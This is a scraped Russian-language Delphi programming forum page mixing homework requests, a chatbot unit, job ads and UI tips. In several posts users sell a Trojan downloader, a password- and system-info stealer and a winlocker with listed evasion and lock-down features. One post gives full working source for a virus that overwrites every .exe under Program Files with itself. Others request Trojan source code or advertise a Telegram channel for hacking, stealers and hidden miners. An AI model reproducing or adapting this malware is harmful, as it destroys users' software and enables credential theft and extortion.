Откройте свой Мир!

Составить проект, который выполняет: программа запрашивает сокращенное имя, а выдает в компоненте Label полное имя для пяти друзей . Ввод незнакомого имени должен провацировать заявление типа : НЕЗНАКОМЫ

Система заточена на работу с блок-схемами.
-тупо построение блок схем(типа визео тока все само рисуется выравнивается и тп)
-генерация по коду (Pascal) блок-схем понадобится студентам и школьникам
-построение блок схемы на конкретном языке (паскаль например) возможность ее откомпилировать(да откомпилировать блок схему) сгенерировать код и получить готовый exe-шник

В основном будет полезна для учащихся и педагогов. Для учителей важно отметить что система работает с бд то есть все работы учеников будут в одном месте.

Распространяется фриварно.

vpi.hdd1.ru

Продам свои произведения:

Trojan Downloader
(Скачивает файлы из интернета без ведома пользователя и запускает их!!)

Trojan info 
(Присылает на емайл адрес файл паролей майл агента+ Захват экрана откуда был запущен + полную инфу о компе вот пример:

Ip адреса: (1-локалка, 2-Интернет!!!)
10.37.0.78
92.122.85.55
Пользователь:Admin
Имя компа:Comp
%windir%:C:\WINDOWS
C:C: 198459,20mb. Свободно: 154731,88mb.
D:
E:E: 198459,20mb. Свободно: 154731,88mb.
F:
G:
Мак адресс:99-E6-BS-71-B4-20
Расширение экрана:1440 x 900
Common files:C:\Program Files
HDD Number:2964396647
Dir Program Files:C:\Program Files
Оперативка:2 096 232 KB
Операционная система: Microsoft Windows XP
Id продукта: 76356-640-1464557-23412

Программный фейк:
Выкладываю скрины:
1) http://s005.radikal.ru/i210/1010/11/5dafe4d5c4d3.jpg
2) http://s39.radikal.ru/i086/1010/47/913b459017a0.jpg

Винлокер:
+ Ничем не палится (по крайней мере известными антивирями)
+ Блокирует безопасный режим
+ Добавляется в автозагрузку
+ Убрать можно только если ввести определенный код
+ Блокирует диспетчер задач
+ Блокирует реестр
+ Блокирует msconfig
+ Удобный дизайн
+ Полностью блокирует windows
+ Закрывает explorer
+ Если правильно ввести код удалится из автозагрузки и разблокирует вышеперечисленные программы и безопасный 
режим
+ Копирует себя в директорию WINDOWS 
+ Удалить такой Винлокер будет очень сложно придется использовать LiveСD (еще придется хорошо поискать его) или 
просто ввести код
+ Могу сделать любой пароль
+ Любой дизайн
+ Любой размер формы и самого файла
+ Самоудаление после активации 
+ Отдам почти даром
+ На таком Винлоке можно не плохо заработать
+ Полностью на весь экран
+ Не даст открыть программы такие как msconfig, regedit, taskmgr, regdt32... Ну и т.п
+ Можно полностью заблокировать безопасный режим! (по желанию)
+ При нескольких неправильных попыток ввода кода Система завершит работу синим экраном смерти! (BSOD)
+ При закрытии снова откроется так что закрыть его тока можно кодом

Выкладываю скрин:
http://s43.radikal.ru/i100/1010/b3/5dbc2101d523.jpg
Ну и еще один троян он ворует историю переписки mail agent

Помогите разобраться программном коде программы Искусственный интеллект, понять что выполняет та или иная функция и процедура, и как можно поподробнее. В общем препод требует защиты проекта, а времени в обрез, чтобы перебирать учебники и самоучители.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, XPMan;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
Memo1: TMemo;
GroupBox2: TGroupBox;
Edit1: TEdit;
XPManifest1: TXPManifest;
procedure FormCreate(Sender: TObject);
procedure Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);

private
{ Private declarations }
public
{ Public declarations }
end;

type
TKeyWord = record
key,answer : string;
end;

const AnswersCount = 310;

var
GeneratedFraza : string='';
Answers : array [1..AnswersCount] of TKeyWord;
Dialog : array [1..20] of string;
Hi : array [1..7] of string;
Form1: TForm1;

implementation

{$R *.dfm}

function FindAnswer(text : string) : boolean;
var
i,count : integer;
ans : array [0..10] of integer;
begin
count:=0;
for i:=1 to AnswersCount do
begin
if Answers[i].key=text then
begin
ans[count]:=i;
inc(count);
end;
end;
if count<>0 then
begin
randomize;
result:=true;
GeneratedFraza:='Кибер разум: '+Answers[ans[random(count)]].answer;
end else result:=false;
end;

procedure LetAnswer(text : string);
var
i,found : integer;
slovo : string;
probel : boolean;
begin
slovo :='';
probel:=false;
found:=0;
for i:=1 to length(text) do
begin

if text[i]=' ' then probel:=true;
if not probel then begin
slovo:=slovo+text[i];
if findanswer(lowercase(slovo)) then inc(found);
end else begin slovo:=''; probel:=false; end;
end;

if found=0 then
form1.Memo1.Lines.Add('Кибер разум: '+dialog[random(20)+1]) else
form1.Memo1.Lines.Add(GeneratedFraz a);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
s : Tstringlist;
i,a : integer;
f : string;
done : boolean;
begin

if not fileexists(ExtractFilepath(Applicat ion.ExeName)+'Mozgi.brain') then
begin
Showmessage('Ôàéë ñ ìîçãàìè "Mozgi.brain" íå áûë íàéäåí, áåç íåãî ïðîãà ðàáîòàòü íå áóäåò.');
Close;
end;

s:=Tstringlist.Create;
s.LoadFromFile(ExtractFilepath(Appl ication.ExeName)+'Mozgi.brain');

for i:=1 to AnswersCount do
begin
f:=lowercase(s.Strings[i-1]);
answers[i].key:='';
answers[i].answer:=s.ValueFromIndex[i-1];
done:=false;
for a:=1 to length(f) do
begin
if f[a]='=' then done:=true;
if not done then Answers[i].key:=Answers[i].key+f[a];
end;
end;

for i:=1 to 20 do dialog[i]:=s.ValueFromIndex[i+AnswersCount];
for i:=1 to 7 do hi[i]:=s.ValueFromIndex[i+AnswersCount+21];
randomize;
memo1.Lines.Add('Êèáåð ðàçóì: '+hi[1+random(7)]);

end;

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key=vk_return) and (Edit1.Text<>'') then
begin
Memo1.Lines.Add('Þçåð: '+Edit1.Text);
LetAnswer(lowercase(Edit1.Text));
Edit1.Text:='';
end;
end;
end.

Привет! Как позвонить на домашний или мобильный телефон и проиграть
wav-файл средствами Делфи? Номера телефонов находятся в базе Dbase.

Поставлена задача по вечерам (когда все дома) запустить прогу с
проигрыванием заранее записаного wav файла.В этом файле простое
оповещение абонентов о их задолженности по оплате комунальных услуг.

Каждый вошедший может оставить сообщение в котором изложена интересующая тема (вопрос) касающая только Delphi.

Ёу! Чуваки! Где можно взять сурсы троянов для Делфи (7)???

Дайте кто нить полный листинг программный код (рабочий) трояна на Делфи, что бы Антивирусами всеми палился.

Напишите ниже список сайтов каких нить нормальных по этой теме.

Помогите, у меня есть статья но там всё очень сложно, несмог разобраться

Все привет. Вот решил восстанавливать свои знания в Delphi и VBA. Насколько я понял, из последних нормальных версий Delphi - только 5 и 7. Сам я когда то остановился на 5, теперь отрыл 7 и пишу на ней... есть и 9 версия, но в ней все по другому, мне не понравилось - вообще какие версии Delphi сейчас актуальны и какие реально люди используют?

Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.Написал:

program Yerihon;

{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils,
  Classes,
  Forms,
  Dialogs;

var
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;
  Program_Files : string;

Procedure Find(var S : TStringList);
 var
 cDir : string;
 SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
 if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
 if FindFirst('*.exe', faArchive,SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
  begin
  S.Add(cDir + SearchRec.Name);
  end;
  until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
 if FindFirst('*', faDirectory, SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
  begin
  if SearchRec.Name[1] <> '.' then
  begin
  ChDir(SearchRec.Name);// войти в каталог
  Find(S); // выполнить поиск в подкаталоге
  ChDir('..');// выйти из каталога
  end;
  end;
  until FindNext(SearchRec) <> 0;
end;

 var
 S : TStringList;
 i : integer;
 f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then WinDir := StrPas(WinDirP);
 if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
  else
  begin
  AssignFile(f, Windir + '\Goodwin.txt');
  Rewrite(f);
  Write(f, 'Goodwin');
  CloseFile(f);
  Program_Files := Windir[1] + ':\Program Files';
  S := TStringList.Create;
  ChDir(Program_Files);
  Find(S);
  for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
  end;
end.

Вопрос:
Написанное можно хотябы назвать вирусом?

Кто нибудь знает название процедуры для движения фигуры(shape).Очень нужно, помогите плиз.

Компания Bimsis http://www.bimsis.ru/ приглашает на работу

Программиста Delphi



Обязанности:

- Разработка, тестирование программного обеспечения по задачам системы мониторинга и нотификации.

- Программирование служб сбора данных, и интерфейсной части.

- Разработка ведётся на Delphi 7 , MS SQL, FireBird.

Требования:

- Отличное знание Delphi, ООП, SQL

- Опыт работы с СУБД MS SQL,

Условия:

- Место работы : ул. Складочная ( метро Савёловская - 15 мин)

- График работы с 9.00 до 18.00 ч

- от 50т.р

--

Контактное лицо: Наталья Колоскова

e-mail: job@bimsis.ru

Телефон: +7 (495) 544-37-01

Посоветуйте хорошего программиста  Delphi, пожалуйста.
мой e-mail: bimsis@mail.ru
Заранее спасибо.

В крупную страховую компанию (ТОР 10) требуются Ведущий специалист отдела разработки отчетности, ведущий специалист отдела анализа и внедрения, ведущий специалист отдела проектирования.
Требования
Знание и опыт работы с БД Oracle от 2х лет.
Гражданство РФ, проживание Москва/Моксовская область
Образование высшее, техническое.
По всем вопросам обращайтесь 89151776635, 418673421
panferova@maxy-c.ru
maxy@mail.ru

Сайт: http://dedicatet.com
ПРИВАТНАЯ группа -ЧАТ в Телеграм! https://t.me/joinchat/Dn6-G... Все о взломах в интернете, МАЙНИНГ НА ДЕДИКАХ, взлом сайтов, серверов ПК, трояны, стилеры и т. д. Бесплатные раздачи дедиков, приватная инфо.,схемы заработков в сети. Магазин ДЕДИКОВ, скрытый майнер и др. софт https://t.me/joinchat/AAAAA...

Люди! Обратите внимание на язык PascalABC.NET !
В новой версии есть дизайнер форм.
Что скажете?

Добрый день! Все кто хочет начать программировать на Delphi7 и т.д. Прошу писать здесь. Если есть опыт работы то это ещё лучше.

найдите строку implementation и под ней впишите.

function ReleaseCapture: BOOL; stdcall; external 'user32.dll' name 'ReleaseCapture' index 519;
function SendMessage(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
external 'user32.dll' name 'SendMessageA' index 537;
Потом в событии формы MouseDown напишите.

const
SC_DRAGMOVE : Longint = $F012;
begin
if Button <> mbRight then
begin
ReleaseCapture;
SendMessage(Handle, WM_SYSCOMMAND, SC_DRAGMOVE, 0);
end;

Учу С#  помогите
Дайте мне советы
СПС

Привет всем! мне нужна помощ в решении 5 контрольных задач по Delphi! , думаю вы с этим легко справитесь! я не могу и помочь некому! уже третий день ползаю в поисках помощи!  Правда расчет могу произвести только тел. карточками нужного тебе оператора или на номер положить денег!
если устраевает вышлю задания, об оплате договоримся!

Короче работа с учётными записями пользователей средствами Delphi.
Как добавлять, удалять,отключать,менять пароль пользователей?
Желательно примеры с описаниями.

У моего друга скоро день рождения, и я думаю - что бы ему такого написать (на делфи) чтобы долго помнил. Что нибудь доброе но нервирующее. Чтобы ничего не удаляло и вообще ничего глобально страшного не делало. Попугать его хотелось бы. Может подскажете пару функций или ещё чего. Может идеи какие есть?

......
private
But1: TButton;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin
but1 := TButton.Create(self);
but1.parent := self;
but1.caption := 'OK';
end;
можно ли обрабатывать события but1, например нажатие, и как подскажите